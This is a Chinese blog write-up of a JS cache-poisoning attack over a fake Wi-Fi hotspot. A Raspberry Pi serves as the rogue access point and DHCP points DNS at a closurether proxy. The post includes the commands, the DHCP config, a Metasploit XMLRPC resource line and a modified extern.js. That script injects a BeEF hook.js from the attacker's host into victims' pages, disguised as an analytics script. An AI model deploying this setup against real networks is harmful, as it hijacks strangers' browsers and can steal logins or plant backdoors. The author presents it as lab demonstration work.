JS投毒的另一種嘗試
半個月前看了EtherDream寫的那篇wifi流量劫持和JS投毒,隨手就在公司實驗室里折騰了一下,頭一次接觸這個領域,感覺挺新鮮的。然后又看到sh4dow@lcx.cc寫了一篇《內網DNS投毒技術劫持會話》,我決定把我做的東西也分享一下。
0×01 攻擊思路
1、用樹莓派建立一個AP,誘使別人過來連接。
2、在樹莓派里,設定DNS,指向一臺代理主機(其實就是中間人)。
3、在代理主機上運行closurether,進行JS投毒。
4、投毒可以有很多種,closurether的原作者是設計了一個可以截獲用戶的登陸時候輸入的用戶名和密碼,但是那個鏈接已經失效了,自己又不會寫js,所以就改用別的思路。這里我選擇了BeEF框架進行配合,在流量中插入hook.js。
5、既然BeEF可以配合MSF來攻擊瀏覽器,那這里自然也少不了MSF的戲份。
0×02 工具準備
EDUP 迷你USB無線網卡 免驅動 (RTL8188CUS)
Raspberry Pi,系統鏡像是Raspbian
團隊的Summer建議我用TP-Link TL-WR703N 刷一個openWRT,便攜而且還可以實現很多其他的功能。
這個想法還沒有去嘗試,openWRT刷進路由以后,路由就沒有任何空間來安裝其他的東西了。
0×03 改造樹莓派
首先讓樹莓派運行起來,玩過的人都知道怎么弄,下載鏡像,寫入鏡像,不做贅述。
其次是讓樹莓派作為一個路由器運行起來
詳細的可以看這里:http://www.daveconroy.com/using-your-raspberry-pi-as-a-wireless-router-and-web-server/
這是使用樹莓派建立無線AP的最早一篇文章。這里講的非常詳細,包括原理和具體配置都列舉出來了,照著一步步坐下來,不會出太大意外。
這里偽造的wifi是我以前學調酒的那間酒吧用的,我師父是Lavazza的頂級咖啡師。不過那家酒吧關門了……在南京的童鞋如果有興趣,還是有地方可以讓我調酒的。
0×04建立中間人
在JS緩存投毒的文章中,作者給了非常詳細的原理解釋,并給出了實現代碼。
我測試的平臺是Mac OS X 10.0(黑蘋果),安裝簡易,沒有發生任何狀況。
首先需要安裝node.js
然后安裝closurether
npm install -g closurether
運行closurether
closurether
closurether運行成功的話,就會看到下面的信息(linux下運行closurether需要的權限比較高,windows不能開啟其他占用80、443端口的服務)
sudo closurether
Password:
[SYS] local ip: 172.16.6.37
[DNS] running 0.0.0.0:53
[WEB] listening 0.0.0.0:80
[WEB] listening 0.0.0.0:443
這個時候如果設置瀏覽器的代理指向127.0.0.1:80就可以看到closurether劫持的所有流量,包括DNS解析和http請求
如果你這么做了,不妨在瀏覽器中查看源碼,你會看到源碼中已經被植入了一個script標簽,這個就是被closurether植入的攻擊代碼。
為了偽裝,把地址寫成了http://10086.cn/js10086/201306301200.js
但實際上,10086.cn上可不會有這么個文件….好一手栽贓嫁禍,我是偽裝成了google-analytis的站點分析腳本
使用的攻擊腳本和偽裝都可以在config.json文件中修改
0×05修改DNS
依然已經準備了代理(中間人),那么就需要讓流量指向代理,前面說設置瀏覽器代理可以實現,但最理想的還是作者提供的修改DNS
修改DNS,指向代理服務器,那么所有使用這個wifi上網的人解析域名就都解析到了代理服務器,DNS解析之后,再把http流量也指向代理服務器,就順理成章的使closurether成為了中間人
在樹莓派的DHCP中設置:
subnet 192.168.1.0 netmask 255.255.255.0 {
range 192.168.1.1 192.168.1.254;
option routers 192.168.1.1;
option domain-name-servers 172.16.6.37;
interface wlan0;
}
172.16.6.37也就是我本機
那么這個時候,連接到這個wifi的設備進行DNS解析的時候,得到的結果都是172.16.6.37
然后,其他的請求也就都指向了代理。
PS:closurether作者考慮的很周到,js投毒只能針對http或https協議,如果是其他的協議,那么在第二次請求的時候就把真實的DNS請求結果反饋給客戶端,這樣就不會那么容易被發現了。
0X06 BeEF和MSF
別人的文章里比我寫的要清楚,就不多說了
但是目前關于BeEF使用的文章還比較少,還在陸續的挖掘其中的功能。
主要是需要建立BeEF和MSF的協作
使用
msfconsole -r beef.rc
來建立一個MSF的XMLRPC服務,然后BeEF啟動以后會自動調用
beef.rc的內容如下:
load xmlrpc ServerHost=<服務器IP> Pass=<密碼> ServerType=Web
0×07 把毒藥撒向天空,讓它隨風飄揚(此處應有反派出場的音樂)
closurether中做如下修改:
修改asset/inject/extern.js,在function中增加:
- var commandModuleStr = '<script src="http://172.16.6.37:3000/hook.js" type="text/javascript">// <![CDATA[
- <\/script>';
- document.write(commandModuleStr);
http://172.16.6.37:3000/hook.js是BeEF的XSS腳本,理論上,這個腳本可以放在任何地方,也可以被closurether直接向流量中注入,還是因為不懂js,沒有做過多的嘗試。
然后,就等魚上鉤了
接下來就是如何利用BeEF和MSF去攻擊瀏覽器的內容了。
按照closurether作者的思路,被投進去的js腳本會長期保存在用戶的電腦里,時間又長有短。可能在未來的某一天,一臺設備就突然上線了。
貌似用BeEF控制用戶的瀏覽器去下載一個后門文件,也是可以的。
0×08小結
1、都是前人的東西,只不過組合了一下而已,沒有任何穿創新,比較水。
2、hook.js對手機瀏覽器沒有任何效果
3、MSF的漏洞庫比較并沒有想象中那么強大,想要一舉拿下被投毒的電腦,沒有幾個0day估計是搞不定的
4、忽然對360清空瀏覽器緩存的功能感到很糾結……
5、用樹莓派來實現這個功能,只是為了工作需要,經常出去做一些演講,用這套設備效果會很好。實戰中可能的問題就是,樹莓派和中間人服務器,必須有一個能連接互聯網。
6、樹莓派上安裝closurether也有些問題,還沒做深入研究。